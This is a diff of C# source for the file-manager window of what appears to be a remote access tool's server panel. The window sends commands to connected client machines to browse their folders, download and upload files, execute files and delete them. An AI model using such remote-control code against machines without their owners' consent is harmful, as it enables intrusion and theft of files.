this.driversListsToolStripMenuItem.Name = "driversListsToolStripMenuItem";
|
||||||
|
this.driversListsToolStripMenuItem.Size = new System.Drawing.Size(204, 34);
|
||||||
|
this.driversListsToolStripMenuItem.Text = "Drivers";
|
||||||
|
this.driversListsToolStripMenuItem.Click += new System.EventHandler(this.DriversListsToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
// toolStripSeparator1
|
// toolStripSeparator1
|
||||||
//
|
//
|
||||||
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
this.toolStripSeparator1.Name = "toolStripSeparator1";
|
||||||
this.toolStripSeparator1.Size = new System.Drawing.Size(186, 6);
|
this.toolStripSeparator1.Size = new System.Drawing.Size(237, 6);
|
||||||
//
|
//
|
||||||
// downloadToolStripMenuItem
|
// downloadToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
this.downloadToolStripMenuItem.Name = "downloadToolStripMenuItem";
|
||||||
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.downloadToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.downloadToolStripMenuItem.Text = "Download";
|
this.downloadToolStripMenuItem.Text = "Download";
|
||||||
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
|
this.downloadToolStripMenuItem.Click += new System.EventHandler(this.downloadToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// uPLOADToolStripMenuItem
|
// uPLOADToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
|
this.uPLOADToolStripMenuItem.Name = "uPLOADToolStripMenuItem";
|
||||||
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.uPLOADToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.uPLOADToolStripMenuItem.Text = "Upload";
|
this.uPLOADToolStripMenuItem.Text = "Upload";
|
||||||
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
|
this.uPLOADToolStripMenuItem.Click += new System.EventHandler(this.uPLOADToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// eXECUTEToolStripMenuItem
|
// eXECUTEToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
|
this.eXECUTEToolStripMenuItem.Name = "eXECUTEToolStripMenuItem";
|
||||||
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.eXECUTEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.eXECUTEToolStripMenuItem.Text = "Execute";
|
this.eXECUTEToolStripMenuItem.Text = "Execute";
|
||||||
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
|
this.eXECUTEToolStripMenuItem.Click += new System.EventHandler(this.eXECUTEToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// renameToolStripMenuItem
|
// renameToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
this.renameToolStripMenuItem.Name = "renameToolStripMenuItem";
|
||||||
this.renameToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.renameToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.renameToolStripMenuItem.Text = "Rename";
|
this.renameToolStripMenuItem.Text = "Rename";
|
||||||
this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click);
|
this.renameToolStripMenuItem.Click += new System.EventHandler(this.RenameToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// copyToolStripMenuItem
|
// copyToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
|
this.copyToolStripMenuItem.Name = "copyToolStripMenuItem";
|
||||||
this.copyToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.copyToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.copyToolStripMenuItem.Text = "Copy";
|
this.copyToolStripMenuItem.Text = "Copy";
|
||||||
this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click);
|
this.copyToolStripMenuItem.Click += new System.EventHandler(this.CopyToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// pasteToolStripMenuItem
|
// pasteToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
|
this.pasteToolStripMenuItem.Name = "pasteToolStripMenuItem";
|
||||||
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.pasteToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.pasteToolStripMenuItem.Text = "Paste";
|
this.pasteToolStripMenuItem.Text = "Paste";
|
||||||
this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1);
|
this.pasteToolStripMenuItem.Click += new System.EventHandler(this.PasteToolStripMenuItem_Click_1);
|
||||||
//
|
//
|
||||||
// dELETEToolStripMenuItem
|
// dELETEToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
|
this.dELETEToolStripMenuItem.Name = "dELETEToolStripMenuItem";
|
||||||
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.dELETEToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.dELETEToolStripMenuItem.Text = "Delete";
|
this.dELETEToolStripMenuItem.Text = "Delete";
|
||||||
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
|
this.dELETEToolStripMenuItem.Click += new System.EventHandler(this.dELETEToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
// toolStripSeparator4
|
// toolStripSeparator4
|
||||||
//
|
//
|
||||||
this.toolStripSeparator4.Name = "toolStripSeparator4";
|
this.toolStripSeparator4.Name = "toolStripSeparator4";
|
||||||
this.toolStripSeparator4.Size = new System.Drawing.Size(186, 6);
|
this.toolStripSeparator4.Size = new System.Drawing.Size(237, 6);
|
||||||
//
|
//
|
||||||
// createFolderToolStripMenuItem
|
// createFolderToolStripMenuItem
|
||||||
//
|
//
|
||||||
this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem";
|
this.createFolderToolStripMenuItem.Name = "createFolderToolStripMenuItem";
|
||||||
this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(189, 32);
|
this.createFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
this.createFolderToolStripMenuItem.Text = "Create Folder";
|
this.createFolderToolStripMenuItem.Text = "Create Folder";
|
||||||
this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click);
|
this.createFolderToolStripMenuItem.Click += new System.EventHandler(this.CreateFolderToolStripMenuItem_Click);
|
||||||
//
|
//
|
||||||
@ -214,6 +243,7 @@
|
|||||||
//
|
//
|
||||||
// statusStrip1
|
// statusStrip1
|
||||||
//
|
//
|
||||||
|
this.statusStrip1.AutoSize = false;
|
||||||
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
this.statusStrip1.ImageScalingSize = new System.Drawing.Size(24, 24);
|
||||||
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
this.statusStrip1.Items.AddRange(new System.Windows.Forms.ToolStripItem[] {
|
||||||
this.toolStripStatusLabel1,
|
this.toolStripStatusLabel1,
|
||||||
@ -250,6 +280,18 @@
|
|||||||
this.timer1.Interval = 1000;
|
this.timer1.Interval = 1000;
|
||||||
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
this.timer1.Tick += new System.EventHandler(this.Timer1_Tick);
|
||||||
//
|
//
|
||||||
|
// toolStripSeparator3
|
||||||
|
//
|
||||||
|
this.toolStripSeparator3.Name = "toolStripSeparator3";
|
||||||
|
this.toolStripSeparator3.Size = new System.Drawing.Size(237, 6);
|
||||||
|
//
|
||||||
|
// openClientFolderToolStripMenuItem
|
||||||
|
//
|
||||||
|
this.openClientFolderToolStripMenuItem.Name = "openClientFolderToolStripMenuItem";
|
||||||
|
this.openClientFolderToolStripMenuItem.Size = new System.Drawing.Size(240, 32);
|
||||||
|
this.openClientFolderToolStripMenuItem.Text = "Open Client Folder";
|
||||||
|
this.openClientFolderToolStripMenuItem.Click += new System.EventHandler(this.OpenClientFolderToolStripMenuItem_Click);
|
||||||
|
//
|
||||||
// FormFileManager
|
// FormFileManager
|
||||||
//
|
//
|
||||||
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
|
||||||
@ -264,7 +306,6 @@
|
|||||||
this.statusStrip1.ResumeLayout(false);
|
this.statusStrip1.ResumeLayout(false);
|
||||||
this.statusStrip1.PerformLayout();
|
this.statusStrip1.PerformLayout();
|
||||||
this.ResumeLayout(false);
|
this.ResumeLayout(false);
|
||||||
this.PerformLayout();
|
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -295,5 +336,10 @@
|
|||||||
private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem pasteToolStripMenuItem;
|
||||||
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
|
private System.Windows.Forms.ToolStripMenuItem renameToolStripMenuItem;
|
||||||
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3;
|
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel3;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem userProfileToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripSeparator toolStripSeparator2;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem driversListsToolStripMenuItem;
|
||||||
|
private System.Windows.Forms.ToolStripSeparator toolStripSeparator3;
|
||||||
|
private System.Windows.Forms.ToolStripMenuItem openClientFolderToolStripMenuItem;
|
||||||
}
|
}
|
||||||
}
|
}
|
@ -1,24 +1,25 @@
|
|||||||
using Server.MessagePack;
|
using Server.MessagePack;
|
||||||
using Server.Sockets;
|
using Server.Connection;
|
||||||
using System;
|
using System;
|
||||||
using System.Windows.Forms;
|
using System.Windows.Forms;
|
||||||
using System.Threading;
|
using System.Threading;
|
||||||
using System.IO;
|
using System.IO;
|
||||||
using Microsoft.VisualBasic;
|
using Microsoft.VisualBasic;
|
||||||
using System.Text;
|
using System.Text;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Diagnostics;
|
||||||
|
|
||||||
namespace Server.Forms
|
namespace Server.Forms
|
||||||
{
|
{
|
||||||
public partial class FormFileManager : Form
|
public partial class FormFileManager : Form
|
||||||
{
|
{
|
||||||
|
public Form1 F { get; set; }
|
||||||
|
internal Clients Client { get; set; }
|
||||||
|
public string FullPath { get; set; }
|
||||||
public FormFileManager()
|
public FormFileManager()
|
||||||
{
|
{
|
||||||
InitializeComponent();
|
InitializeComponent();
|
||||||
}
|
}
|
||||||
|
|
||||||
public Form1 F { get; set; }
|
|
||||||
internal Clients C { get; set; }
|
|
||||||
|
|
||||||
private void listView1_DoubleClick(object sender, EventArgs e)
|
private void listView1_DoubleClick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
try
|
try
|
||||||
@ -29,8 +30,10 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
|
msgpack.ForcePathObject("Path").AsString = listView1.SelectedItems[0].ToolTipText;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
listView1.Enabled = false;
|
||||||
//toolStripStatusLabel1.Text = listView1.SelectedItems[0].ToolTipText;
|
toolStripStatusLabel3.ForeColor = Color.Green;
|
||||||
|
toolStripStatusLabel3.Text = "Please Wait";
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
@ -50,15 +53,14 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||||
toolStripStatusLabel1.Text = "";
|
toolStripStatusLabel1.Text = "";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
|
path = path.Remove(path.LastIndexOfAny(new char[] { '\\' }, path.LastIndexOf('\\')));
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
msgpack.ForcePathObject("Path").AsString = path + "\\";
|
msgpack.ForcePathObject("Path").AsString = path + "\\";
|
||||||
//toolStripStatusLabel1.Text = path;
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -66,7 +68,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||||
toolStripStatusLabel1.Text = "";
|
toolStripStatusLabel1.Text = "";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
|
|
||||||
@ -78,8 +80,8 @@ namespace Server.Forms
|
|||||||
{
|
{
|
||||||
if (listView1.SelectedItems.Count > 0)
|
if (listView1.SelectedItems.Count > 0)
|
||||||
{
|
{
|
||||||
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID)))
|
if (!Directory.Exists(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID)))
|
||||||
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + C.ID));
|
Directory.CreateDirectory(Path.Combine(Application.StartupPath, "ClientsFolder\\" + Client.ID));
|
||||||
foreach (ListViewItem itm in listView1.SelectedItems)
|
foreach (ListViewItem itm in listView1.SelectedItems)
|
||||||
{
|
{
|
||||||
if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return;
|
if (itm.ImageIndex == 0 && itm.ImageIndex == 1 && itm.ImageIndex == 2) return;
|
||||||
@ -89,7 +91,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Command").AsString = "socketDownload";
|
msgpack.ForcePathObject("Command").AsString = "socketDownload";
|
||||||
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
||||||
msgpack.ForcePathObject("DWID").AsString = dwid;
|
msgpack.ForcePathObject("DWID").AsString = dwid;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
this.BeginInvoke((MethodInvoker)(() =>
|
this.BeginInvoke((MethodInvoker)(() =>
|
||||||
{
|
{
|
||||||
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
FormDownloadFile SD = (FormDownloadFile)Application.OpenForms["socketDownload:" + dwid];
|
||||||
@ -98,7 +100,7 @@ namespace Server.Forms
|
|||||||
SD = new FormDownloadFile
|
SD = new FormDownloadFile
|
||||||
{
|
{
|
||||||
Name = "socketDownload:" + dwid,
|
Name = "socketDownload:" + dwid,
|
||||||
Text = "socketDownload:" + C.ID,
|
Text = "socketDownload:" + Client.ID,
|
||||||
F = F
|
F = F
|
||||||
};
|
};
|
||||||
SD.Show();
|
SD.Show();
|
||||||
@ -127,21 +129,21 @@ namespace Server.Forms
|
|||||||
SD = new FormDownloadFile
|
SD = new FormDownloadFile
|
||||||
{
|
{
|
||||||
Name = "socketUpload:" + Guid.NewGuid().ToString(),
|
Name = "socketUpload:" + Guid.NewGuid().ToString(),
|
||||||
Text = "socketUpload:" + C.ID,
|
Text = "socketUpload:" + Client.ID,
|
||||||
F = Program.form1,
|
F = Program.form1,
|
||||||
C = C
|
Client = Client
|
||||||
};
|
};
|
||||||
SD.dSize = new FileInfo(ofile).Length;
|
SD.FileSize = new FileInfo(ofile).Length;
|
||||||
SD.labelfile.Text = Path.GetFileName(ofile);
|
SD.labelfile.Text = Path.GetFileName(ofile);
|
||||||
SD.fullFileName = ofile;
|
SD.FullFileName = ofile;
|
||||||
SD.label1.Text = "Upload:";
|
SD.label1.Text = "Upload:";
|
||||||
SD.clientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
|
SD.ClientFullFileName = toolStripStatusLabel1.Text + "\\" + Path.GetFileName(ofile);
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
msgpack.ForcePathObject("Command").AsString = "reqUploadFile";
|
||||||
msgpack.ForcePathObject("ID").AsString = SD.Name;
|
msgpack.ForcePathObject("ID").AsString = SD.Name;
|
||||||
SD.Show();
|
SD.Show();
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -163,7 +165,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "deleteFile";
|
msgpack.ForcePathObject("Command").AsString = "deleteFile";
|
||||||
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
else if (itm.ImageIndex == 0)
|
else if (itm.ImageIndex == 0)
|
||||||
{
|
{
|
||||||
@ -171,7 +173,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "deleteFolder";
|
msgpack.ForcePathObject("Command").AsString = "deleteFolder";
|
||||||
msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText;
|
msgpack.ForcePathObject("Folder").AsString = itm.ToolTipText;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -189,14 +191,14 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
|
msgpack.ForcePathObject("Path").AsString = toolStripStatusLabel1.Text;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
else
|
else
|
||||||
{
|
{
|
||||||
MsgPack msgpack = new MsgPack();
|
MsgPack msgpack = new MsgPack();
|
||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -215,7 +217,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "execute";
|
msgpack.ForcePathObject("Command").AsString = "execute";
|
||||||
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
msgpack.ForcePathObject("File").AsString = itm.ToolTipText;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
@ -227,7 +229,11 @@ namespace Server.Forms
|
|||||||
|
|
||||||
private void Timer1_Tick(object sender, EventArgs e)
|
private void Timer1_Tick(object sender, EventArgs e)
|
||||||
{
|
{
|
||||||
if (!C.ClientSocket.Connected) this.Close();
|
try
|
||||||
|
{
|
||||||
|
if (!Client.TcpClient.Connected) this.Close();
|
||||||
|
}
|
||||||
|
catch { this.Close(); }
|
||||||
}
|
}
|
||||||
|
|
||||||
private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
private void DESKTOPToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
@ -238,8 +244,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
msgpack.ForcePathObject("Path").AsString = "DESKTOP";
|
msgpack.ForcePathObject("Path").AsString = "DESKTOP";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
//toolStripStatusLabel1.Text = "DESKTOP";
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -255,8 +260,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "getPath";
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
msgpack.ForcePathObject("Path").AsString = "APPDATA";
|
msgpack.ForcePathObject("Path").AsString = "APPDATA";
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
//toolStripStatusLabel1.Text = "APPDATA";
|
|
||||||
}
|
}
|
||||||
catch
|
catch
|
||||||
{
|
{
|
||||||
@ -277,7 +281,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "createFolder";
|
msgpack.ForcePathObject("Command").AsString = "createFolder";
|
||||||
msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername);
|
msgpack.ForcePathObject("Folder").AsString = Path.Combine(toolStripStatusLabel1.Text, foldername);
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -298,7 +302,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "copyFile";
|
msgpack.ForcePathObject("Command").AsString = "copyFile";
|
||||||
msgpack.ForcePathObject("File").AsString = files.ToString();
|
msgpack.ForcePathObject("File").AsString = files.ToString();
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
@ -312,7 +316,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
msgpack.ForcePathObject("Command").AsString = "pasteFile";
|
msgpack.ForcePathObject("Command").AsString = "pasteFile";
|
||||||
msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text;
|
msgpack.ForcePathObject("File").AsString = toolStripStatusLabel1.Text;
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
@ -335,7 +339,7 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Command").AsString = "renameFile";
|
msgpack.ForcePathObject("Command").AsString = "renameFile";
|
||||||
msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText;
|
msgpack.ForcePathObject("File").AsString = listView1.SelectedItems[0].ToolTipText;
|
||||||
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
|
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
return;
|
return;
|
||||||
}
|
}
|
||||||
else if (listView1.SelectedItems[0].ImageIndex == 0)
|
else if (listView1.SelectedItems[0].ImageIndex == 0)
|
||||||
@ -345,12 +349,48 @@ namespace Server.Forms
|
|||||||
msgpack.ForcePathObject("Command").AsString = "renameFolder";
|
msgpack.ForcePathObject("Command").AsString = "renameFolder";
|
||||||
msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\";
|
msgpack.ForcePathObject("Folder").AsString = listView1.SelectedItems[0].ToolTipText + "\\";
|
||||||
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
|
msgpack.ForcePathObject("NewName").AsString = Path.Combine(toolStripStatusLabel1.Text, filename);
|
||||||
ThreadPool.QueueUserWorkItem(C.Send, msgpack.Encode2Bytes());
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
catch { }
|
catch { }
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
private void UserProfileToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getPath";
|
||||||
|
msgpack.ForcePathObject("Path").AsString = "USER";
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void DriversListsToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
MsgPack msgpack = new MsgPack();
|
||||||
|
msgpack.ForcePathObject("Packet").AsString = "fileManager";
|
||||||
|
msgpack.ForcePathObject("Command").AsString = "getDrivers";
|
||||||
|
toolStripStatusLabel1.Text = "";
|
||||||
|
ThreadPool.QueueUserWorkItem(Client.Send, msgpack.Encode2Bytes());
|
||||||
|
}
|
||||||
|
|
||||||
|
private void OpenClientFolderToolStripMenuItem_Click(object sender, EventArgs e)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (!Directory.Exists(FullPath))
|
||||||
|
Directory.CreateDirectory(FullPath);
|
||||||
|
Process.Start(FullPath);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
}
|
}
|
